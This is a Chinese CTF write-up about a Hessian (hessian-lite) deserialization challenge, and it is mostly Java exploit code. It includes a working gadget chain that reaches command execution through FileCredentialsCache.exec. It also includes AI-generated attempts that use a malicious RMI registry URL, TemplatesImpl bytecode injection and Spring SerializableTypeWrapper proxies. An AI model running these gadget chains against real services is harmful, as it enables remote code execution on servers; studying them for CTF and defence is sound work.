简单记录一下以纪念死磕这题的周末。人工队和 AI 大家族的 gpt-5-pro,gemini 一起思考,也未战胜。


题目

自定义了一个 CustomProxy。

image-20251221232902714.png

开启了 AllowNonSerializable。

image-20251221232911283.png

依赖只有一个 hessian-lite,还是最新版。

image-20251221232931052.png

正解

先放最终解法吧,来自 AAA 战队发在discord的代码:

package org;

import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import org.example.labyrinth.model.CustomProxy;
import sun.security.krb5.internal.ccache.FileCredentialsCache;
import sun.tracing.ProbeSkeleton;
import cn.org.unk.Util;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.HashMap;
import java.util.TreeMap;

public class EX {

public static TreeMap<Object,Object> triggerTreeMap(Object eq1, Object eq2) throws Exception {

TreeMap<Object,Object> treeMap = new TreeMap<>();
Util.setFieldValue(treeMap, "size", 2);

Class<?> entryC = Class.forName("java.util.TreeMap$Entry");
Constructor<?> cons = entryC.getDeclaredConstructor(Object.class, Object.class, entryC);
cons.setAccessible(true);

Object root = cons.newInstance(eq1, eq1, null);
Object left = cons.newInstance(eq2, eq2, root);
Object right = cons.newInstance(eq2, eq2, root);

Util.setFieldValue(root, "left", left);
Util.setFieldValue(root, "right", right);

Util.setFieldValue(treeMap, "root", root);

return treeMap;
}

private static Object getDTraceprobe(Object o2, Method m2) throws Exception {
Object dtProbe = Util.createWithoutConstructor(Class.forName("sun.tracing.dtrace.DTraceProbe"));

/*
* protected Class<?>[] parameters;
* private Object proxy;
private Method declared_method;
private Method implementing_method;

*/
Util.setFieldValue(dtProbe, "proxy", o2);
Util.setFieldValue(dtProbe, "declared_method", m2);
Util.setFieldValue(dtProbe, "implementing_method", m2);
Class<?>[] paramTypes = m2.getParameterTypes();
Util.setFieldValue(dtProbe, "parameters", paramTypes);
return dtProbe;
}

public static void main(String[] args) throws Exception {

InvocationHandler invocationHandler = (InvocationHandler) Util.createWithoutConstructor(Class.forName("sun.tracing.MultiplexProvider"));
Util.setFieldValue(invocationHandler, "probes", new HashMap<>());
Util.setFieldValue(invocationHandler, "active", true);
Util.setFieldValue(invocationHandler, "providerType", File.class);

HashMap<Method, Object> probes = new HashMap<>();

Object o2 = FileCredentialsCache.acquireInstance();
Method m2 = FileCredentialsCache.class.getDeclaredMethod("exec", String.class);
m2.setAccessible(true);

String bashCmd = "lol";

String params = "calc";

Object dtProbe = getDTraceprobe(o2, m2);

Method methodRef = File.class.getMethod("compareTo", File.class);

probes.put(methodRef, dtProbe);
Util.setFieldValue(invocationHandler, "probes", probes);

Object objCompareTo = new CustomProxy(invocationHandler, methodRef);

TreeMap treeMap = triggerTreeMap(objCompareTo, params);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(baos);
output.getSerializerFactory().setAllowNonSerializable(true);
output.writeObject(treeMap);
output.flush();
output.close();

byte[] arr0 = baos.toByteArray();

//System.out.println("obj1:" + Ctf.enhex(arr0));
ByteArrayInputStream bais = new ByteArrayInputStream(arr0);
Hessian2Input input = new Hessian2Input(bais);
input.getSerializerFactory().setAllowNonSerializable(true);
System.out.println("readObject:");
input.readObject();
}
}

调用栈如下。

image-20251221221200641.png

基本都是 invoke 调用。

思路

下面是当时我做题时候的思路。

题目开了setAllowNonSerializable(true),可以反序列化非 Serializable 的类

题目给了一个自定义 CustomProxy,且 m3 这个方法可以采用反射修改 name 的形式绕过,达到任意方法调用,但是还缺一个关键的 InvocationHandler,这个 handler 要么自己可以直接调用到 sink,要么可以调用其他对象的方法,典型的就是 JdkDynamicAopProxy,但是这玩意不行,下面会细说。

当前已经可以通过XString + HashMap + POJONode 的方式达到任意 getter 调用,但是缺少一个能利用的 getter。

XString + HashMap 代码:

public static void main(String[] args) throws Exception{
HashMap<Object, Object> map1 = new HashMap<>();
HashMap<Object, Object> map2 = new HashMap<>();
HashMap<Object, Object> map3 = new HashMap<>();

POJONode node2 = Gadget.getPOJONode("");

map2.put("yy",new XString("1"));
map2.put("zZ",node2);

map3.put(map1,"1");
map3.put(map2,"2");

map1.put("yy",node2);
map1.put("zZ",new XString("1"));

byte[] serialize = serialize(map3);

deserialize(serialize);

}

所以这道题现在是两种思路,一个是寻找一个合适的 InvocationHandler 可以到达 sink,第二个思路就是寻找 getter。

JdkDynamicAopProxy

下面的代码是 AI 给的,虽然有一处细节没有注意,但是真的很强了。

package org.example;


import java.io.*;
import java.lang.reflect.*;
import java.util.*;

import cn.org.unk.Util;
import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import org.example.labyrinth.model.CustomProxy;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.remoting.rmi.RmiClientInterceptor;
import org.springframework.aop.target.SingletonTargetSource;

public class Poc {
public static void deser() throws Exception{

Hessian2Input input = new Hessian2Input(new FileInputStream("payload.bin"));
input.getSerializerFactory().setAllowNonSerializable(true);
Object o = input.readObject();

}
public static void main(String[] args) throws Exception{

deser();

}
public static void ser() throws Exception {
System.out.println("Creating POC...");

// 1. Create RmiClientInterceptor
RmiClientInterceptor rmiInterceptor = new RmiClientInterceptor();
rmiInterceptor.setServiceUrl("rmi://127.0.0.1:1099/evil"); // Point to our malicious registry
rmiInterceptor.setServiceInterface(Comparable.class); // Must act as Comparable

Util.setFieldValue(rmiInterceptor, "beanClassLoader", null);

// Note: we don't call afterPropertiesSet(), so lookup happens lazily on invoke

// 2. Create AdvisedSupport and add the interceptor
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(new SingletonTargetSource(new Object())); // Dummy target
advisedSupport.addAdvice(rmiInterceptor);
advisedSupport.setInterfaces(Comparable.class);

// 3. Create JdkDynamicAopProxy
// JdkDynamicAopProxy is package-private/final in some versions, but public in others.
// We might need to use reflection to instantiate it if it's not accessible.
// Assuming we are in the same package or it's public.
// Wait, JdkDynamicAopProxy in the source I read is "final class JdkDynamicAopProxy".
// It is package-private (no public modifier).
// So I cannot instantiate it directly from default package Poc.
// I need to use reflection to create it.

Constructor<?> ctor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy")
.getDeclaredConstructor(AdvisedSupport.class);
ctor.setAccessible(true);
InvocationHandler aopProxy = (InvocationHandler) ctor.newInstance(advisedSupport);

// 4. Create CustomProxy wrapping the JdkDynamicAopProxy
// CustomProxy(InvocationHandler h)
CustomProxy customProxy = new CustomProxy(aopProxy, CustomProxy.class.getMethod("compareTo", Object.class));

// 5. Put into TreeMap to trigger compareTo
TreeMap<Object, Object> treeMap = new TreeMap<>();
treeMap.put("customProxy", "trigger");

replaceKey(Util.getFieldValue(treeMap, "root"), "customProxy", customProxy);

// 6. Serialize
ByteArrayOutputStream bao = new ByteArrayOutputStream();

Hessian2Output hessian2Output = new Hessian2Output(bao);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(treeMap);
hessian2Output.close();

byte[] bytes = bao.toByteArray();
FileOutputStream fileOutputStream = new FileOutputStream("payload.bin");
fileOutputStream.write(bytes);
fileOutputStream.close();
}
private static void replaceKey(Object entry, Object targetKey, Object newKey) throws Exception {
if (entry == null) return;
Class<?> entryClass = entry.getClass();
Field keyField = entryClass.getDeclaredField("key");
keyField.setAccessible(true);
Object key = keyField.get(entry);

if (key != null && key.equals(targetKey)) {
keyField.set(entry, newKey);
return;
}

Field leftField = entryClass.getDeclaredField("left");
leftField.setAccessible(true);
replaceKey(leftField.get(entry), targetKey, newKey);

Field rightField = entryClass.getDeclaredField("right");
rightField.setAccessible(true);
replaceKey(rightField.get(entry), targetKey, newKey);
}
}

这处细节就是:AdvisedSupport这家伙的methodCache属性是transient的,hessian不会恢复这个属性,导致JdkDynamicAopProxy在执行 invoke 的时候出现空指针异常。代码正向打(put 完直接 compare),是通的,反序列化后就不行了。

image-20251221223026864.png

image-20251221223036531.png

Exception in thread “main” java.lang.NullPointerException
at org.springframework.aop.framework.AdvisedSupport.getInterceptorsAndDynamicInterceptionAdvice(AdvisedSupport.java:468)
at org.springframework.aop.framework.JdkDynamicAopProxy.invoke(JdkDynamicAopProxy.java:225)
at org.example.labyrinth.model.CustomProxy.compareTo(CustomProxy.java:25)
at java.util.TreeMap.compare(TreeMap.java:1294)
at java.util.TreeMap.put(TreeMap.java:538)
at com.alibaba.com.caucho.hessian.io.MapDeserializer.doReadMap(MapDeserializer.java:143)
at com.alibaba.com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:124)
at com.alibaba.com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:96)
at com.alibaba.com.caucho.hessian.io.SerializerFactory.readMap(SerializerFactory.java:621)
at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2851)
at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2419)
at org.example.Poc.deser(Poc.java:21)
at org.example.Poc.main(Poc.java:27)

MethodInvokeTypeProvider

继续欣赏一下 Gemini-3-Pro-Preview(200k) 的杰作,也可以直接跳到最后面看简略版本。

package org.example.c;

import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.fasterxml.jackson.databind.node.POJONode;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.SingletonTargetSource;

import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.rmi.MarshalledObject;
import java.util.HashMap;
import java.util.Map;
import java.nio.file.Files;
import java.nio.file.Paths;

/*

希望通过 MarshalledObject 打二次反序列化。
还是用的是 SerializableTypeWrapper$MethodInvokeTypeProvider


*/

public class Poc {

public static void main(String[] args) throws Exception {
System.out.println("Generating payload...");

// 0. Compile EvilCalc class
compileEvilCalc();
byte[] evilBytes = Files.readAllBytes(Paths.get("EvilCalc.class"));

// 1. Create malicious TemplatesImpl
Class<?> templatesClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Object templates = templatesClass.newInstance();

setFieldValue(templates, "_bytecodes", new byte[][]{ evilBytes });
setFieldValue(templates, "_name", "EvilCalc");
setFieldValue(templates, "_tfactory", Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());

// 2. Wrap TemplatesImpl in MarshalledObject to bypass Hessian blacklist
MarshalledObject<Object> marshalledObject = new MarshalledObject<>(templates);

// 3. Create MethodInvokeTypeProvider chain to call marshalledObject.get().newTransformer()

// We need a TypeProvider that returns the MarshalledObject.
// We can use MethodInvokeTypeProvider to call a static method (if possible) or instance method.
// Since we can't easily create a TypeProvider that returns MarshalledObject directly (FieldTypeProvider needs field),
// we will use a chain.

// Actually, for MethodInvokeTypeProvider to work, we need a method that returns Type.
// MarshalledObject.get() returns Object. This might fail validation on server.
// BUT assuming we want to try it (maybe validation is missing or bypassed).

// Step 3a: Create a TypeProvider that holds the MarshalledObject.
// We can use a Mock TypeProvider or proxy.
// Or we can use MethodInvokeTypeProvider calling a method that returns MarshalledObject?

// Let's use Reflection to create the MethodInvokeTypeProvider instance
Class<?> mitpClass = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");

Constructor<?> mitpCtor = mitpClass.getDeclaredConstructor(typeProviderClass, Method.class, int.class);
mitpCtor.setAccessible(true);
// We need a base TypeProvider.
// We can create a proxy for TypeProvider interface.
Object baseProvider = Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(),
new Class[]{typeProviderClass},
new InvocationHandler() {
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if (method.getName().equals("getType")) {
return marshalledObject; // This is WRONG. getType returns Type. MarshalledObject is not Type.
// But wait, MethodInvokeTypeProvider.getType() calls invokeMethod(method, provider.getType()).
// So provider.getType() is the TARGET object for the method call.
// So if we return marshalledObject here, it will be the target.
}
return null;
}
}
);

// Step 3b: Call marshalledObject.get()
// method: MarshalledObject.get()
Method getMethod = MarshalledObject.class.getMethod("get");
Object mitp1 = mitpCtor.newInstance(baseProvider, getMethod, 0);

// mitp1.getType() -> invokes marshalledObject.get() -> returns TemplatesImpl.

// Step 3c: Call templates.newTransformer()
// method: Templates.newTransformer()
Method newTransformerMethod = Templates.class.getMethod("newTransformer");
Object mitp2 = mitpCtor.newInstance(mitp1, newTransformerMethod, 0);

// mitp2.getType() -> invokes mitp1.getType().newTransformer() -> templates.newTransformer().

// 4. Wrap mitp2 in POJONode
// POJONode.toString() -> Jackson -> calls getters on mitp2.
// mitp2 has getType(). Jackson calls it.
POJONode node = new POJONode(mitp2);

node.toString();

System.exit(1);

// 5. Trigger POJONode.toString() via XString
Class<?> xStringClass = Class.forName("com.sun.org.apache.xpath.internal.objects.XString");
Constructor<?> xStringCtor = xStringClass.getDeclaredConstructor(String.class);
xStringCtor.setAccessible(true);
Object xString = xStringCtor.newInstance("test");

Map<Object, Object> map = new HashMap<>();
map.put(node, "dummy");
map.put(xString, "dummy");

// XString.equals(node) -> node.toString() -> ...

// 6. Serialize
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(map);
out.flush();
byte[] payload = baos.toByteArray();

// Save to file
File file = new File("payload.bin");
FileOutputStream fos = new FileOutputStream(file);
fos.write(payload);
fos.close();

System.out.println("Payload generated to " + file.getAbsolutePath());
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void compileEvilCalc() throws Exception {
String source = "public class EvilCalc {\n" +
" static {\n" +
" try {\n" +
" java.lang.Runtime.getRuntime().exec(\"calc\");\n" +
" } catch (Exception e) {}\n" +
" }\n" +
"}";
File sourceFile = new File("EvilCalc.java");
FileOutputStream fos = new FileOutputStream(sourceFile);
fos.write(source.getBytes());
fos.close();

Process p = Runtime.getRuntime().exec("javac EvilCalc.java");
p.waitFor();
if (p.exitValue() != 0) {
throw new RuntimeException("Compilation failed");
}
}
}

他想干啥呢?

先看 org.springframework.core.SerializableTypeWrapper$TypeProxyInvocationHandler 这个类,看他的 invoke,有一处方法调用。

image-20251221224033193.png

他想把 this.provider 设置成 AnnotationInvocationHandler,从而控制 getType的返回值为任意对象,比如一个 MarshalledObject ,然后把 method 设置成 MarshalledObject#get ,就能二次反序列化。 但是有个问题,就是 getType 的返回值是 Type 类型的,如果返回其他类型的对象会报错,所以这样行不通。

同样的道理,org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider 有一个 getter,看起来可以任意方法调用,实际上也不行,也是类型问题。

image-20251221225407403.png

ResourceUtils

上面的 getType 是因为类型问题不能用,那存不存在 Type 的子类能够利用?Class 类不就是么?那就可以调用静态方法,先随便测试一个,比如 ResourceUtils#getURL,下面是代码:

package org.example.b;

import java.io.*;
import java.lang.reflect.*;
import java.util.*;

import cn.org.unk.Gadget;
import cn.org.unk.Util;
import org.springframework.util.ResourceUtils;
import org.springframework.util.SerializationUtils;
import org.springframework.web.servlet.mvc.method.annotation.MvcUriComponentsBuilder;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.alibaba.com.caucho.hessian.io.SerializerFactory;
import org.example.labyrinth.model.CustomProxy;

import javax.annotation.Resource;

/*
Caused by: java.lang.UnsupportedOperationException: ObjectDeserializer[interface org.springframework.core.SerializableTypeWrapper$TypeProvider]
at com.alibaba.com.caucho.hessian.io.ObjectDeserializer.readObject(ObjectDeserializer.java:76)
at com.alibaba.com.caucho.hessian.io.AbstractDeserializer.readObject(AbstractDeserializer.java:127)
at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObjectInstance(Hessian2Input.java:2956)
at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2289)
at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2218)
at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2262)
at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2218)
at com.alibaba.com.caucho.hessian.io.FieldDeserializer2FactoryUnsafe$ObjectFieldDeserializer.deserialize(FieldDeserializer2FactoryUnsafe.java:213)
*/

public class Poc {
public static void main(String[] args) throws Exception {
System.out.println("Generating payload...");

// 2. Create TypeProvider proxy that returns typeProxy
Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
Constructor<?> aihCtor = Class.forName("com.alibaba.com.caucho.hessian.io.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, HashMap.class);
aihCtor.setAccessible(true);

HashMap<String, Object> map = new HashMap<>();
map.put("getType", ResourceUtils.class);

InvocationHandler annotationInvocationHandler = (InvocationHandler) aihCtor.newInstance(typeProviderClass, map);
Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{typeProviderClass}, annotationInvocationHandler);


// 4. Create TypeProxyInvocationHandler
Class<?> typeProxyInvocationHandlerClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProxyInvocationHandler");
Constructor<?> tpihCtor = typeProxyInvocationHandlerClass.getDeclaredConstructor(typeProviderClass);
tpihCtor.setAccessible(true);

InvocationHandler finalHandler = (InvocationHandler) tpihCtor.newInstance(typeProviderProxy);

// 5. Wrap in CustomProxy to trigger
Method compareToMethod = ResourceUtils.class.getMethod("getURL", String.class);

Util.setFieldValue(compareToMethod, "name", "compareTo");

CustomProxy customProxy = new CustomProxy(finalHandler, compareToMethod);

// 6. Put in TreeMap
TreeMap<Object, Object> treeMap = new TreeMap<>();
treeMap.put("http://127.0.0.1:8989", "foo");

treeMap.put("customProxy", "foo");
//treeMap.put(customProxy, "foo"); // 直接正向触发 compare

//System.exit(-1);

replaceKey(Util.getFieldValue(treeMap, "root"), "customProxy", customProxy);

// Serialize
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(treeMap);
out.flush();
byte[] payload = baos.toByteArray();

// Save to file
File file = new File("payload.bin");
FileOutputStream fos = new FileOutputStream(file);
fos.write(payload);
fos.close();

System.out.println("Payload generated to " + file.getAbsolutePath());
}

public static void replaceKey(Object entry, Object targetKey, Object newKey) throws Exception {
if (entry == null) return;

Field keyField = entry.getClass().getDeclaredField("key");
keyField.setAccessible(true);
Object key = keyField.get(entry);

if (key != null && key.equals(targetKey)) {
keyField.set(entry, newKey);
return;
}

Field leftField = entry.getClass().getDeclaredField("left");
leftField.setAccessible(true);
replaceKey(leftField.get(entry), targetKey, newKey);

Field rightField = entry.getClass().getDeclaredField("right");
rightField.setAccessible(true);
replaceKey(rightField.get(entry), targetKey, newKey);
}
}

正向触发时的调用栈,是可以的。

image-20251221225821547.png

有个关键点:

CustomProxy 的 m3 这个Method,是可以通过反射修改 name 绕过的,调用的实际上还是 getURL。

image-20251221225916325.png

可以成功调用到 ResourceUtils#getURL,且参数也是可控的。

image-20251221230041049.png

image-20251221230101289.png

然后我来试试反序列化能不能正常触发,结果遇到问题了,报错栈如下:

十二月 21, 2025 11:03:23 下午 com.alibaba.com.caucho.hessian.io.SerializerFactory getDeserializer
警告: Hessian/Burlap: ‘org.springframework.core.$Proxy0’ is an unknown class in sun.misc.Launcher$AppClassLoader@18b4aac2:
java.lang.ClassNotFoundException: org.springframework.core.$Proxy0
com.alibaba.com.caucho.hessian.io.HessianFieldException: org.springframework.core.SerializableTypeWrapper$TypeProxyInvocationHandler.provider: org.springframework.core.SerializableTypeWrapper$TypeProvider cannot be assigned from null
at com.alibaba.com.caucho.hessian.io.FieldDeserializer2FactoryUnsafe.logDeserializeError(FieldDeserializer2FactoryUnsafe.java:120)
at com.alibaba.com.caucho.hessian.io.FieldDeserializer2FactoryUnsafe$ObjectFieldDeserializer.deserialize(FieldDeserializer2FactoryUnsafe.java:217)
at com.alibaba.com.caucho.hessian.io.UnsafeDeserializer.readObject(UnsafeDeserializer.java:298)
at com.alibaba.com.caucho.hessian.io.UnsafeDeserializer.readObject(UnsafeDeserializer.java:203)
at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObjectInstance(Hessian2Input.java:2956)
at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2289)
at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2218)
at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2262)
at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2218)
at com.alibaba.com.caucho.hessian.io.FieldDeserializer2FactoryUnsafe$ObjectFieldDeserializer.deserialize(FieldDeserializer2FactoryUnsafe.java:213)
at com.alibaba.com.caucho.hessian.io.UnsafeDeserializer.readObject(UnsafeDeserializer.java:271)
at com.alibaba.com.caucho.hessian.io.UnsafeDeserializer.readObject(UnsafeDeserializer.java:186)
at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObjectInstance(Hessian2Input.java:2958)
at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2884)
at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2419)
at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2857)
at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2419)
at com.alibaba.com.caucho.hessian.io.MapDeserializer.doReadMap(MapDeserializer.java:143)
at com.alibaba.com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:124)
at com.alibaba.com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:96)
at com.alibaba.com.caucho.hessian.io.SerializerFactory.readMap(SerializerFactory.java:621)
at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2851)
at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2419)
at org.example.Hessian2Main.deserialize(Hessian2Main.java:33)
at org.example.b.Test.deser(Test.java:30)
at org.example.b.Test.main(Test.java:26)
Caused by: java.lang.UnsupportedOperationException: ObjectDeserializer[interface org.springframework.core.SerializableTypeWrapper$TypeProvider]
at com.alibaba.com.caucho.hessian.io.ObjectDeserializer.readObject(ObjectDeserializer.java:76)
at com.alibaba.com.caucho.hessian.io.AbstractDeserializer.readObject(AbstractDeserializer.java:127)
at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObjectInstance(Hessian2Input.java:2956)
at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2289)
at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2218)
at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2262)
at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2218)
at com.alibaba.com.caucho.hessian.io.FieldDeserializer2FactoryUnsafe$ObjectFieldDeserializer.deserialize(FieldDeserializer2FactoryUnsafe.java:213)
… 24 more

看了挺久,原因估计是 hessian 和 java 原生反序列化不同,没办法反序列化一个动态代理,会用一个 hashmap 去替代。

用一段简单代码测试一下:

package org.example.b;

import cn.org.unk.Util;
import org.example.Hessian2Main;
import org.example.labyrinth.model.CustomProxy;
import org.springframework.util.ResourceUtils;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.TreeMap;

/*
发现问题了,序列化的时候是一个 Proxy,但是恢复的时候变成了 HashMap
*/

public class Test {

public static void main(String[] args) throws Exception{

//ser();
deser();

}
public static void deser(){
Object deserialize = Hessian2Main.deserialize("payload.bin");
System.out.println(deserialize);
}

public static void ser() throws Exception{
// 2. Create TypeProvider proxy that returns typeProxy
Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
Constructor<?> aihCtor = Class.forName("com.alibaba.com.caucho.hessian.io.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, HashMap.class);
aihCtor.setAccessible(true);

HashMap<String, Object> map = new HashMap<>();
map.put("getType", ResourceUtils.class);

InvocationHandler annotationInvocationHandler = (InvocationHandler) aihCtor.newInstance(typeProviderClass, map);
Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{typeProviderClass}, annotationInvocationHandler);


Class<?> typeProxyInvocationHandlerClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProxyInvocationHandler");
Constructor<?> tpihCtor = typeProxyInvocationHandlerClass.getDeclaredConstructor(typeProviderClass);
tpihCtor.setAccessible(true);

Hessian2Main.serialize(typeProviderProxy, "payload.bin");
}

}

可以看到,序列化的是一个 Proxy,反序列化得到的是一个 HashMap,应该是这里造成了一连串报错。

image-20251221230739354.png

结语

以上记录的就主要是死磕过程产生的副产物了,大部分都是 AI 给的,我只给他了一个 jadx 反编译之后的源码和 jdk 源码,他就能搓出几乎正确的链子了,要是改进一下,比如给一些分析工具比如 codqel 搓个 mcp 再接入,基本就无敌了。唉,人类一败涂地了。